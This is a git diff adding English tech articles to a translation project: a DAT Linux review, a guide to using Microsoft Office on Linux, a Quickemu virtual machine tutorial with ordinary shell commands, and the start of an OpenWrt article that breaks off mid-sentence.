Perfect Distro for Data Science Based on Ubuntu LTS.md new file mode 100644 index 0000000000..1501502710 --- /dev/null +++ b/sources/tech/20220709 DAT Linux- Perfect Distro for Data Science Based on Ubuntu LTS.md @@ -0,0 +1,152 @@ +[#]: subject: "DAT Linux: Perfect Distro for Data Science Based on Ubuntu LTS" +[#]: via: "https://www.debugpoint.com/dat-linux-review/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +DAT Linux: Perfect Distro for Data Science Based on Ubuntu LTS +====== +We review the first beta version of DAT Linux, curated only for data scientists. + +Data science is in massive demand today, including job prospects, learning, university courses, etc. It’s a stream which deals with extracting meaningful inferences by applying algorithms and AI models. + +Most of today’s commercial data science products are available from the major tech players. And those products target large enterprises with critical businesses. But hundreds of free and open-source tools, packages, and programs are available for data science work that many are unaware of. + +Hence, setting up a working Linux system with those tools for data science work takes significant time because it requires little research, download & installation and so on. + +Keeping that in mind, DAT Linux brings a vast, pre-installed, pre-configured set of tools and programs with its native tools to assist data scientists, students, teachers and hobbyists. + +In this article, we review DAT Linux and its Beta release. + +![DAT Linux 1.0b Desktop][1] + +### DAT Linux Review + +#### Base and Installation + +The name “DAT” is a stripped-down version of the word “DATA”. As its target is Data Science, it became “DAT Linux” as a short. + +At its core, DAT Linux is based on Ubuntu LTS, i.e. [Lubuntu 22.04 LTS][2] as of its 1.0b (Beta) release, which is the target version of this review. + +The choice of Lubuntu with LXQt desktop is interesting, considering KDE Plasma or Xfce for a traditional desktop look. Perhaps, the performance is the aim of a data science work which may take considerable system resources. And LXQt desktop is probably the most lightweight desktop environment today. + +The installer size is 3.3 GB, almost identical to the [Ubuntu 22.04 LTS][3]. However, there is a slight difference in the installer. + +DAT Linux uses a customised Calamares Installer in place of the Ubiquity installer from Ubuntu. However, an installer doesn’t mean much, but Calamares is by far the best installer available today in terms of usability & stability. + +During the test, the installation went smooth and no major problems and errors for this beta version of DAT Linux. + +#### First Look and Desktop + +Lubuntu is [super-lightweight distribution][4] thanks to the LXQt desktop and its components. The LXQt brings several native apps such as QTerminal, and PCManFM-QT file manager. + +The beauty of a traditional icon and menu-based desktop environment is its usability and time-tested approach. Moreover, you care less about desktop themes and looks when working on serious data science projects. + +The LXQt desktop in DAT Linux is a stock experience with a bottom main panel. It has the application menu at the left, a list of open applications and windows in the middle and the system tray at the right. By default, LXQt offers four workspaces which I believe are more than sufficient to logically diving your data science apps for work. + +Overall, it’s a fast, clean desktop perfect for work or projects. + +#### The difference with the stock-Lubuntu + +The default applications for various tasks are slightly different from a stock Lubuntu version. Firstly, the default web browser is LibreWolf (and not Firefox), a free and open-source privacy-focused browser. + +Secondly, for installing additional apps and packages, it brings KDE’s Discover, which is a central tool to install, remove and manage software and packages. In addition, DAT Linux also brings Muon package manager by KDE (which we featured in [Best KDE Apps Part 2][5]). The Muon package manager is also a powerful package manager for searching and installing packages. In addition, you can easily manage software sources and PPAs using Muon. + +![Muon Package Manager][6] + +Other extra software includes Vim editor, [nobleNote notebook manager][7], VLC Media Player, Xscreensaver and Picom. Also, LibreOffice is pre-installed in DAT Linux. + +However, Flatpak and Snap (daemons) are not pre-installed – which is suitable for a lightweight system. + +#### Data Science Applications & Native Tools + +The primary focus of this distro is Data science, which is loaded with all the necessary apps for this stream. + +The application list is spread across dynamic programming languages, Python libraries, Business Intelligence reporting tools, scientific graph plotters and many more. + +Here’s the sample list of data science applications (You can read the detailed list [here][8]): + +| App Name | Description | +| :- | :- | +| BiRT | Eclipse BIRT™ is an open source reporting system for producing compelling BI reports | +| Julia | Julia is a high-level, high-performance, dynamic programming language | +| Jupyter Notebook | The Jupyter Notebook is a web-based interactive, scientific computing platform | +| Jupyter Lab | JupyterLab is the latest web-based interactive development environment for notebooks, code, and data | +| MOA | MOA is an open source framework for Big Data stream mining. It includes a collection of machine learning algorithms | +| OpenRefine | OpenRefine is an open-source desktop application for data cleanup and transformation to other formats | +| PSPP | GNU PSPP is a program for statistical analysis of sampled data. It is a free as in freedom replacement for the proprietary program SPSS | +| R | R is a free software environment for statistical computing and graphics | +| R-Studio | RStudio is an Integrated Development Environment (IDE) for R | +| Spyder | Spyder is a free and open source scientific environment written in Python, for Python, and designed by and for scientists, engineers and data analysts | + +As you can see, the above list should be sufficient for any data science use cases, whether you are a student, teacher, freelancer or professional. + +#### DAT Linux Control Panel + +DAT Linux folks also thought of a proper way of finding and launching these extra apps. + +To do that, it brings DAT Linux Control Panel, a grid-based app launcher for the data science apps classified by functionalities in separate tabs. + +It also gives you several additional options for native DAT Linux apps such as software updater, programming language cheat sheets & references, etc. + +![DAT Linux Control Panel][9] + +Finally, this release brings [Linux Kernel 5.15 LTS][10] with [Python 3.10][11] & [LXQt 0.17][12] – which is the base for Ubuntu 22.04 LTS. + +#### Performance + +The performance metric is impressive. At its idle state, DAT Linux uses 500 MB to 700 MB of RAM, and the CPU is, on average, 4%. Most of the system resources are consumed by Systemd services. + +The metric obviously goes up when you run many data science applications and browsers. Since the idle state performance is good, I believe the heavy workload state should also be well-optimised. + +Also, it’s essential to remember that most data science work requires heavy computing power. Hence, it’s always better to use this distribution in modern hardware with the latest CPU families. + +![DAT Linux Performance at Idle State with 3 hours uptime][13] + +In addition to the above, DAT Linux takes around 10 GB of disk space for default installation and all the packages. + +### Wrapping Up + +Despite thousands of distros and variants, DAT Linux is unique because it is a blend of Lubuntu LTS with only Data Science packages. As per my little knowledge, only Fedora has a spin called “[Fedora Scientific][14]“, which mainly deals with scientific software. + +However, DAT Linux did well by packaging all the necessary apps with a front-end to manage them. One of the main aspects is that this distro will save time from installing and configuring all these apps by a general user. + +Also, the Ubuntu LTS base with LXQt desktop is a suitable choice. Although, I believe a better File manager (such as Dolphin or Nemo) would have been better than PCManFM-Qt. + +Other than that, it’s a complete distro and performs well. I hope it goes out of Beta soon and gets a first stable release. + +You can download DAT Linux from the [official website][15]. + +So, what do you think about this distro? Would it be successful in its target niche community? Let me know in the comment box below. + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/dat-linux-review/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/07/DAT-Linux-1.0b-Desktop.jpg +[2]: https://www.debugpoint.com/lubuntu-22-04-lts/ +[3]: https://www.debugpoint.com/web-stories/ubuntu-22-04-review/ +[4]: https://www.debugpoint.com/lightweight-linux-distributions-2022/ +[5]: https://www.debugpoint.com/great-kde-apps-part-2/ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/07/Muon-Package-Manager2.jpg +[7]: https://github.com/hakaishi/nobleNote +[8]: https://datlinux.com/ +[9]: https://www.debugpoint.com/wp-content/uploads/2022/07/DAT-Linux-Control-Panel.jpg +[10]: https://www.debugpoint.com/linux-kernel-5-15/ +[11]: https://www.debugpoint.com/install-python-3-10-ubuntu/ +[12]: https://www.debugpoint.com/lxqt-0-17-release/ +[13]: https://www.debugpoint.com/wp-content/uploads/2022/07/DAT-Linux-Performance-at-Idle-State-with-3-hours-uptime.jpg +[14]: https://labs.fedoraproject.org/en/scientific/ +[15]: https://datlinux.com/download/ diff --git a/sources/tech/20220709 How to Use Microsoft Office on Linux.md b/sources/tech/20220709 How to Use Microsoft Office on Linux.md new file mode 100644 index 0000000000..0d12e550ae --- /dev/null +++ b/sources/tech/20220709 How to Use Microsoft Office on Linux.md @@ -0,0 +1,284 @@ +[#]: subject: "How to Use Microsoft Office on Linux" +[#]: via: "https://itsfoss.com/use-microsoft-office-linux/" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +How to Use Microsoft Office on Linux +====== +For many users, not having native support for Microsoft Office is the only reason why they do not switch to Linux. + +Yes, **Microsoft Office is not available to install on Linux**. + +For some existing users, not having Microsoft Office on Linux creates additional pain. + +Sure, there are several good open source office suites available and they are sufficient for most users. + +But there are situations when you are compelled to use MS Office. + +If other people at work send you Office documents with complex macros, it may not work well with LibreOffice. + +Similarly, if your university or workplace requires you to write in .docx or .xlsx and you use LibreOffice, there might be compatibility issues if tables, macros and other elements are involved. + +These are practical difficulties that are encountered by people who have to collaborate with MS office users. + +**If you are in a situation where you must use Microsoft Office, you don’t need to ditch Linux altogether.** + +Here are a few suggestions on how you could use Microsoft Office on the Linux desktop. + +### Your options for using Microsoft Office on Linux + +There are various **alternative methods** you can use to access Microsoft’s Office on Linux. + +Sure, it’s not the same using MS Office on Windows, but at least it allows you to work with Office documents. + +#### 1. Use Microsoft Office 365 Online + +Yes, you can use Microsoft Office applications in your web browser. And this works on any operating system. That includes Linux, of course. + +This is the best way to access Microsoft Office apps if you have a stable internet connection. + +Do note that the online Office version doesn’t have all the features you get in the desktop version. Still, it’s a good enough choice in many cases. + +If you have a Microsoft account, you can [sign in to Microsoft 365 directly][1]. If you don’t have one, you must create a Microsoft account. + +Without any paid subscription, you can use a lite version of all the essential office tools like Microsoft Word, Excel, and more, right on your web browser. + +Sounds good, right? + +![microsoft office linux][2] + +The best part of this service is you can utilize free 5 GB of OneDrive storage to keep your documents online, and it integrates well will all the apps available in the suit. Not to forget, you can also use the mobile app on the go. + +Note that there are some feature differences between Office Online and its native desktop applications. You can know more about it in its [official documentation][3]. + +Moreover, if you want to make the most out of it, with more cloud storage, and some premium features, you may opt for the Microsoft 365 subscription as well. + +##### Pros + +* Comes free with Microsoft account +* Documents are saved in the cloud and can be accessed from any device +* 5 GB of free storage with OneDrive +* Can be used on any operating system without installing the software + +##### Cons + +* You must create a Microsoft account +* Free version lacks features +* You can only store documents up to 5 GB for free +* Needs internet connection to access and edit files + +#### 2. Using a Windows compatibility program + +What if you would like to experience the desktop app of Microsoft Office from within your Linux system? + +You can use a virtual machine to install Windows, but we discuss that next, considering it is time-consuming. + +Instead, you can use Windows compatibility layers for specific software, by which you can run them on Linux machines. + +I’ll suggest two ways to install Microsoft Office desktop application on Linux + +* Using PlayOnLinux (free but provides older versions of MS office) +* Using CrossOver (paid and comes with proper support) + +Let me give you a brief overview of how to use them + +##### Using PlayOnLinux + +[PlayOnLinux][4] is one of the best ways to run Windows applications on Linux. + +On Ubuntu, you can install it using a command through the terminal as follows: + +``` +sudo apt install winbind playonlinux winetricks -y +``` + +After installation, launch the program and click on the Install button which will sync available packages and will allow us to install MS Office (desired version). + +![Using PlayOnLinux on Ubuntu][5] + +Now, you’ll be given a prompt where we will be searching for our desired software. + +If you already purchased Microsoft Office earlier, you can have the installation media or the ISO file ready from their [official download page][6]. + +Enable the option labeled as “No-cd needed” if you do not plan to use your installer, and search “Office”. + +It will list all compatible Microsoft Office programs. Select your desired version and click on the **Install** button to download/install it automatically. + +![Searching for MS Office in PlayOnLinux][7] + +It will automatically create a virtual space for MS Office and will install Wine through the installer. Once you are done with the basic steps, it will show you a prompt where you have to choose the installation method between the setup file and DVD. + +We’ll be going with the first option for convenience. After selecting the first option, locate the setup file and all the other processes will be handled automatically. + +![using setup file][8] + +Soon the installer will start the installation process and in no time you will get your favorite office suite installed on your system. You can directly access it without PlayOnLinux from your Linux system or from within the application as well. + +![MS Office suit on Linux with PlayOnLinux][9] + +For example, let’s try launching MS Word. Here’s what it looks like: + +![Running MS Office][10] + +Note that you won’t find the latest version of Microsoft Office with this method, and probably not the best experience in terms of performance. + +##### Using CrossOver + +[CrossOver][11] is a paid software that lets you run Windows applications on Linux in the best way possible. + +![crossover][12] + +It is built on top of Wine, and several open-source projects. The CrossOver developers contribute heavily to the [WINE project][13]. + +You just need to purchase it once and use it as long as you want. Unfortunately, you still cannot get the latest Microsoft Office version 2021 to work with it. The [ratings are poor][14]. The newest that works well with CrossOver is Office 2016 at the time of writing this article. + +Oh, yes! CrossOver has a [compatibility database][15]. You can search for the desired Windows software and see if it is well supported or not. + +If you want convenience, and a tool to run Windows applications on Linux (not just Microsoft Office) and you don’t mind paying for it, you should try it out. + +##### Pros + +* No need for internet while using Office +* Your existing Office license may work the same + +##### Cons + +* Only older versions are available + +[Use Windows Software on Linux with Crossover][16] + +Thousands of Windows games and programs to run on your favorite Linux distro. + +Supported Windows apps will run at native speed, play games at full fps all while maintaining the Linux OS integration. Simply magic! + +Your purchase supports WINE development as well. + +![Use Windows Software on Linux with Crossover][17] + +[Get it now][18] + +We earn a commission if you make a purchase, at no additional cost to you. + +#### 3. Use a virtual machine to run Windows + +So if you are someone with enough system resources to spare, this option will enable you to use a wide range of exclusive software. It’s because, you will be using Windows from within Linux, as a virtual machine. + +If you are not familiar with it, the virtual machine mechanism allows you to use another operating system (like Windows) inside Linux like a regular application. + +![A Video from YouTube][19] + +You can choose to use options like [Quickgui][20], VMware, [GNOME Boxes][21], or VirtualBox. + +As an example, you can follow our guide on [installing Windows 10 using VirtualBox on Linux][22]. + +It can be exciting, you know! But to run a virtual machine, you need to have a computer with enough system resources. It will struggle miserably if you try to use it on a 4 GB RAM and i3 processor. + +It’s not perfect. As you may have trouble sharing clipboards and files between the guest OS (Windows) and host OS (Linux). + +Another thing is about Windows licensing. If you have a new system that came preinstalled with Windows, your license is linked to your machine on BIOS/firmware level. You should be able to use Windows in the virtual machine without issues. But if that was not the case, you may have to activate Windows. + +##### Pros + +* No need for internet while using Office +* Use the latest version of MS Office +* Use other Windows-only software + +##### Cons + +* Only works well with high-end computers with good system resources +* Licensing could be an issue + +#### 4. Use alternative office suits that are compatible with MS Office files + +So if you are using Linux for a while, the chances of your distro being shipped with LibreOffice are quite high. But LibreOffice is not always compatible with MS Office file formats. + +I would suggest **two office suites which are known for better compatibilty with your Microsoft Office files**: + +##### 1. OnlyOffice + +![onlyoffice][23] + +If you are looking for an office suite that is identical to Microsoft Office with several essential features, [OnlyOffice][24] can be a great choice. + +You can download the desktop edition for free on Linux, Windows, and macOS. + +If you have a [Nextcloud][25] instance or similar, you can also integrate it with that for usage. + +##### 2. WPS Office + +![wps office][26] + +WPS Office was previously known as Kingsoft Office. The Chinese developers of WPS Offices are unabashed about imitating the look and feel of the MS Office products. + +**This is not open-source, though.** + +WPS is fine-tuned for personal use and provides good compatibility with Microsoft Office documents. + +Being one of the best alternatives to MS Office, you can follow [our guide][27] for easy installation and get WPS running in no time on Linux. + +##### Pros + +* No need for internet while using Office +* Use the latest version of MS Office +* Use other Windows-only software + +##### Cons + +* Only works well with high-end computers with good system resources +* Licensing could be an issue + +### No real love for Linux from Microsoft but you’ll always find a way + +Microsoft has clarified that it loves open-source as much as everyone. But, we still need to resort to numerous ways to run Microsoft Office on Linux. Instead of bringing its Office suite to Linux, [Microsoft gifted its calculator][28] to the community. + +Linux users always find a way around things. Though MS Office is not officially available for Linux, you can still employ one of the workarounds I suggested here. + +In my opinion, Office 365 is a pretty good option if you are always connected to the internet. + +What do you think? + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/use-microsoft-office-linux/ + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://www.microsoft.com/en-in/microsoft-365/free-productivity-apps +[2]: https://itsfoss.com/wp-content/uploads/2022/07/microsoft-office-linux.jpg +[3]: https://docs.microsoft.com/en-us/office365/servicedescriptions/office-online-service-description/office-online-service-description +[4]: https://www.playonlinux.com/en/ +[5]: https://itsfoss.com/wp-content/uploads/2022/07/Sync-available-software-1-2.png +[6]: https://www.microsoft.com/en-us/download/office.aspx +[7]: https://itsfoss.com/wp-content/uploads/2022/07/Searching-for-MS-Office-2.png +[8]: https://itsfoss.com/wp-content/uploads/2022/07/Using-setup-file-2.png +[9]: https://itsfoss.com/wp-content/uploads/2022/07/Installed-office-suit-800x445.png +[10]: https://itsfoss.com/wp-content/uploads/2022/07/MS-Office-800x660.png +[11]: https://itsfoss.com/go/crossover/ +[12]: https://itsfoss.com/wp-content/uploads/2022/07/crossover-21-1-0.png +[13]: https://www.winehq.org/ +[14]: https://www.codeweavers.com/compatibility/crossover/microsoft-office-2021 +[15]: https://www.codeweavers.com/compatibility +[16]: https://itsfoss.com/go/crossover/ +[17]: https://itsfoss.com/go/crossover/ +[18]: https://itsfoss.com/go/crossover/ +[19]: https://youtu.be/_Kh_Y3xg890 +[20]: https://itsfoss.com/quickgui/ +[21]: https://itsfoss.com/share-files-gnome-boxes/ +[22]: https://itsfoss.com/install-windows-10-virtualbox-linux/ +[23]: https://itsfoss.com/wp-content/uploads/2022/07/OnlyOffice-800x518.png +[24]: https://itsfoss.com/recommends/onlyoffice/ +[25]: https://itsfoss.com/nextcloud/ +[26]: https://itsfoss.com/wp-content/uploads/2022/07/WPS-office-1-800x443.png +[27]: https://itsfoss.com/wps-office-linux/ +[28]: https://itsfoss.com/windows-calculator-linux/ diff --git a/sources/tech/20220711 Run Linux, macOS, Windows Virtual Machines With Quickemu.md b/sources/tech/20220711 Run Linux, macOS, Windows Virtual Machines With Quickemu.md new file mode 100644 index 0000000000..e65f212754 --- /dev/null +++ b/sources/tech/20220711 Run Linux, macOS, Windows Virtual Machines With Quickemu.md @@ -0,0 +1,382 @@ +[#]: subject: "Run Linux, macOS, Windows Virtual Machines With Quickemu" +[#]: via: "https://ostechnix.com/run-linux-macos-windows-virtual-machines-with-quickemu/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +Run Linux, macOS, Windows Virtual Machines With Quickemu +====== +Use Quickemu To Quickly Spin Up Virtual Machines For Linux, macOS And Windows + +This guide explains what is **Quickemu** and how to create and **run Linux, macOS and Windows desktop virtual machines with Quickemu** in Linux. + +### What Is Quickemu? + +Quickemu is a command line program to quickly create and run optimized Linux, macOS and Windows desktop virtual machines. + +You don't need sudo or root permissions to run virtual machines. You can simply test any Linux, macOS or Windows VMs as a normal user and store the virtual machine configurations in your HOME directory or USB disk. + +The Quickemu application consists of two CLI tools namely **quickemu** and **quickget**. + +The quickget CLI tool downloads the latest ISO image for your OS. By default, the downloaded images are saved in your HOME directory. You can change it to other location for example external USB drive. + +And, the Quickemu CLI tool uses **QEMU** under the hood to create and manage virtual machines. So the VMs are highly optimized and should work out of the box without any additional configuration. + +### Quickemu Features + +Quickemu ships with a lot of features out of the box. + +* Over 300 operating systems are supported. +* Supports both EFI (with or without SecureBoot) and Legacy BIOS boot. +* Full SPICE support with host/guest clipboard sharing. +* Enables file sharing for Linux and Windows guests using VirtIO-webdavd. +* Enables file sharing for Linux and macOS guests using VirtIO-9p. +* Enables Samba file sharing between Linux, macOS and Windows guests. +* Configures automatic SSH port-forwarding for guests. +* Network port forwarding. +* Full duplex audio support. +* Smartcard, USB device pass-through. +* VirGL acceleration. +* Braille support. +* Free and Opensource. + +### Install Quickemu In Linux + +Quickemu is a new project and has been packaged for a few operating systems at the moment. + +**Arch Linux:** + +Quickemu is available in **[AUR][1]**. If you're on Arch Linux and its variants like EndeavourOS, Manjaro Linux, you can install Quickemu using **[Paru][2]** or **[Yay][3]** helpers. + +``` +$ paru -S quickemu +``` + +Or, + +``` +$ yay -S quickemu +``` + +**NixOS:** + +To install Quickemu in NixOS, run: + +``` +$ nix-env -i quickemu +``` + +**Ubuntu:** + +The developer of Quickemu has created a dedicated PPA for Ubuntu and its derivatives such as Elementary OS, Linux Mint and Pop!_OS. + +To install Quickemu in Ubuntu and its derivatives, run the following commands one by one. + +``` +$ sudo apt-add-repository ppa:flexiondotorg/quickemu +``` + +``` +$ sudo apt update +``` + +``` +$ sudo apt install quickemu +``` + +For other Linux distributions, refer to the project's GitHub repository given at the end. + +### Run Linux, MacOS And Windows Virtual Machines With Quickemu + +Creating and managing VMs with Quickemu is just two step process. + +Download the OS image, for example Alpine Linux, using quickget CLI: + +``` +$ quickget alpine latest +``` + +You can also download a specific version of the Alpine like below: + +``` +$ quickget alpine 3.15 +``` + +It will create a configuration file for the chosen OS. It will be named based on the selected OS. + +``` +alpine-latest/alpin 100%[===================>] 47.00M 3.52MB/s in 14s +Checking alpine-latest/alpine-virt-3.16.0-x86_64.iso with sha256sum... Good! +Making alpine-latest.conf + +To start your Alpine Linux virtual machine run: + quickemu --vm alpine-latest.conf +``` + +![Download Alpine Linux ISO Image With Quickget][4] + +Now start your Alpine Linux virtual machine using command: + +``` +$ quickemu --vm alpine-latest.conf +``` + +This command will create and launch the Alpine Linux virtual machine via Spicy GTK client. + +![Run Alpine Linux Virtual Machine With Quickemu][5] + +Please note that it is just a live system. You still need to install the OS. You can now start the Alpine OS installation as usual. + +Each VM and its associated files(ISO, Qcow2, other configuration files) are stored in a separate directory in your HOME directory. For instance, if you created Alpine VM using the Alpine latest image, a new directory called "alpine-latest" will be created and the VM's related files will be kept in this directory. + +``` +$ ls alpine-latest +alpine-latest-agent.sock alpine-latest.pid alpine-latest.sh disk.qcow2 +alpine-latest.log alpine-latest.ports alpine-virt-3.16.0-x86_64.iso OVMF_VARS.fd +``` + +As you see in the above output, my Alpine Linux VM's ISO file, Qcow2 disk file and other config files such as `.ports`, `.fd`, `.sock` etc., are saved inside **~/alpine-latest** directory. + +### Accessing Virtual Machines From Host Via Terminal + +Whenever you launch a VM, Quickemu will display the following useful information on your host system's terminal. + +``` +Quickemu 3.15 using /usr/bin/qemu-system-x86_64 v6.2.0 + - Host: Ubuntu 22.04 LTS running Linux 5.15 (ubuntu2204) + - CPU: 11th Gen Intel(R) Core(TM) i3-1115G4 @ 3.00GHz + - CPU VM: 1 Socket(s), 1 Core(s), 1 Thread(s), 4G RAM + - BOOT: EFI (Linux), OVMF (/usr/share/OVMF/OVMF_CODE_4M.fd), SecureBoot (off). + - Disk: alpine-latest/disk.qcow2 (16G) + Looks unused, booting from alpine-latest/alpine-virt-3.16.0-x86_64.iso + - Boot ISO: alpine-latest/alpine-virt-3.16.0-x86_64.iso + - Display: SPICE, qxl-vga, GL (on), VirGL (off) + - ssh: On host: ssh user@localhost -p 22220 + - SPICE: On host: spicy --title "alpine-latest" --port 5930 --spice-shared-dir /home/ostechnix/Public + - WebDAV: On guest: dav://localhost:9843/ + - 9P: On guest: sudo mount -t 9p -o trans=virtio,version=9p2000.L,msize=104857600 Public-ostechnix ~/Public + - Process: Starting alpine-latest.conf as alpine-latest (11272) +``` + +As you see, It displays the configuration details of both host and VM including the other details such as how to access the VM via SSH, access the shared folder via SPICE client etc. You can use these details to access the VM from your host system. + +For example, if the SSH service is configured with port 22220 in your VM, you can access the VM from your hosts system like below. + +``` +$ ssh -P 22220 vm-user@localhost +``` + +You can check the `.ports` file in the VM directory to find what SSH and SPICE ports the VM is connected to. + +``` +$ cat alpine-latest/alpine-latest.ports +ssh,22220 +spice,5930 +``` + +This can be useful when you want to start the VMs in headless mode. + +### Create VMs With Custom Specification(CPU Core, Disk And Memory) + +By default, Quickemu will allocate the number of CPUs cores, and the size of the disk and RAM based on your host computer's specification. You can override this default behavior by using the following parameters. + +* cpu_cores="2" - Specify the number of CPU cores(E.g. 2 cores) allocated to the VM. +* ram="4G" - Specify the RAM capacity(E.g. 4 GB) to allocate to the VM. +* disk_size="20G" - Specify the disk size(E.g. 20 GB) to allocate to the VM. + +To create a VM with 2 CPU cores, 4 GB RAM and 20 GB hdd, edit your VM configuration file: + +``` +$ nano alpine-latest.conf +``` + +Add the following lines: + +``` +cpu_cores="2" +ram="4G" +disk_size="20G" +``` + +![Create Custom Configuration VM Using Quickemu][6] + +Now, start the VM using the updated config file: + +``` +$ quickemu --vm alpine-latest.conf +``` + +### Create Desktop Shortcut For VMs + +Instead of typing the whole command, you can create a desktop shortcut for your VM like below. + +``` +$ quickemu --vm alpine-latest.conf --shortcut +``` + +This command will create shortcut for the Alpine VM in `~/.local/share/applications/` location. + +``` +$ ls ~/.local/share/applications/ +alpine-latest.desktop +``` + +A menu entry for the VM is also created for the VM. From now on, you can launch the VM from the Dash or menu. + +![Desktop Shortcut For VMs][7] + +### Start VMs With SPICE Client + +Launching VMs with SPICE protocol will offer you the following benefits. + +* Share clipboard between host and guest. +* Share files between host and guest. +* Enable USB pass-through. + +Make sure the `spicy` client is installed and run the following command to + +``` +$ quickemu --vm alpine-latest.conf --display spice +``` + +### Use Existing ISO Images + +Sometimes, you might have already downloaded the ISO files. In that case, you don't need to use "quickget" command to download the ISO file. Instead, just edit your VM configuration file: + +``` +$ nano alpine-latest.conf +``` + +Update the correct ISO file pathg(E.g. /home/ostechnix/Downloads/) like below: + +``` +[...] +iso="/home/ostechnix/Downloads/alpine-virt-3.16.0-x86_64.iso" +``` + +Now Quickemu will use the ISO file saved in the "Downloads" directory. + +### Start VMs In Headless Mode + +Make sure the **spicy** client is installed. + +Run the following command to start the VM with SPICE, but no display attached: + +``` +$ quickemu --vm alpine-latest.conf --display none +``` + +Since the VM is started in headless mode, you can access it via SSH only. + +Assuming the SSH service is configured with port 22220 in your VM, you can access the VM from your hosts system like below. + +``` +$ ssh -P 22220 vm-user@localhost +``` + +You can check the `.ports` file in the VM directory to lookup what SSH and SPICE ports the VM is connected to. + +``` +$ cat alpine-latest/alpine-latest.ports +ssh,22220 +spice,5930 +``` + +### Configure Networking + +**Enable Bridge Networking** + +To allow your VM to a preconfigured network bridge, add the following line to the VM configuration: + +``` +bridge="br0" +``` + +**Port Forwarding** + +To allow port forwarding, add the following line to VM configuration: + +``` +port_forwards=("22:2200" "8800:80" +``` + +Here, + +* 22:2200 - The port 22 on your host system is forwarded to the port 2200 on your guest system. +* 8800:80 - The port 8800 on your host system is forwarded to the port 80 on your guest system. + +Quickemu allows you to do a few other customization. For more details, refer the project's GitHub page given at the end. + +### Delete Virtual Machine + +You can delete a VM if it is no longer required using command: + +``` +$ quickemu --vm alpine-latest.conf --delete-vm +``` + +This command will the entire virtual machine along with its configuration. + +### Display Help + +To view Quickemu help, run: + +``` +$ quickemu --help + +Usage + quickemu --vm ubuntu.conf + +You can also pass optional parameters + --braille : Enable braille support. Requires SDL. + --delete-disk : Delete the disk image and EFI variables + --delete-vm : Delete the entire VM and it's configuration + --display : Select display backend. 'sdl' (default), 'gtk', 'none', or 'spice' + --fullscreen : Starts VM in full screen mode (Ctl+Alt+f to exit) + --ignore-msrs-always : Configure KVM to always ignore unhandled machine-specific registers + --screen : Use specified screen to determine the window size. + --shortcut : Create a desktop shortcut + --snapshot apply : Apply/restore a snapshot. + --snapshot create : Create a snapshot. + --snapshot delete : Delete a snapshot. + --snapshot info : Show disk/snapshot info. + --status-quo : Do not commit any changes to disk/snapshot. + --version : Print version +``` + +### Conclusion + +Quickemu provides an easy way to quickly deploy and run Windows, macOS and Linux desktop virtual machines. + +One distinct feature of Quickemu, we can download the ISO image directly using the Quickget CLI. I don't think if this feature is included in the other virtualization applications and hypervisors. + +Also Quickemu usage is very easy! If you're looking for a simple way to run optimized Virtual machines for Linux, macOS and Windows, Quickemu is perfect choice! + +**Resource:** + +* [Quickemu GitHub Repository][8] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/run-linux-macos-windows-virtual-machines-with-quickemu/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[译者ID](https://github.com/译者ID) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://aur.archlinux.org/packages/quickemu +[2]: https://ostechnix.com/how-to-install-paru-aur-helper-in-arch-linux/ +[3]: https://ostechnix.com/yay-found-yet-another-reliable-aur-helper/ +[4]: https://ostechnix.com/wp-content/uploads/2022/07/Download-Alpine-Linux-ISO-Image-With-Quickget.png +[5]: https://ostechnix.com/wp-content/uploads/2022/07/Run-Alpine-Linux-Virtual-Machine-With-Quickemu.png +[6]: https://ostechnix.com/wp-content/uploads/2022/07/Create-Custom-Configuration-VM-Using-Quickemu.png +[7]: https://ostechnix.com/wp-content/uploads/2022/07/Desktop-Shortcut-For-VMs.png +[8]: https://github.com/quickemu-project/quickemu diff --git a/sources/tech/20220712 OpenWrt, an open source alternative to firmware for home routers.md b/sources/tech/20220712 OpenWrt, an open source alternative to firmware for home routers.md new file mode 100644 index 0000000000..608b34ccc3 --- /dev/null +++ b/sources/tech/20220712 OpenWrt, an open source alternative to firmware for home routers.md @@ -0,0 +1,173 @@ +[#]: subject: "OpenWrt, an open source alternative to firmware for home routers" +[#]: via: "https://opensource.com/article/22/7/openwrt-open-source-firmware" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: " " +[#]: reviewer: " " +[#]: publisher: " " +[#]: url: " " + +OpenWrt, an open source alternative to firmware for home routers +====== +OpenWrt is a Linux-based, open source operating system targeting embedded network devices. + +If you're reading this article from home, you are probably connected with a LTE/5G/DSL/WIFI router. Such devices are usually responsible to route packets between your local devices (smartphone, PC, TV, and so on) and provide access to the world wide web through a built-in modem. Your router at home has most likely a web-based interface for configuration purposes. Such interfaces are often oversimplified as they are made for casual users. + +If you want more configuration options, but don't want to spend for a professional device you should take a look at an alternative firmware such as [OpenWrt][2]. + +### OpenWrt features + +OpenWrt is a Linux-based, open source operating system targeting embedded network devices. It is mainly used as a replacement for the original firmware on home 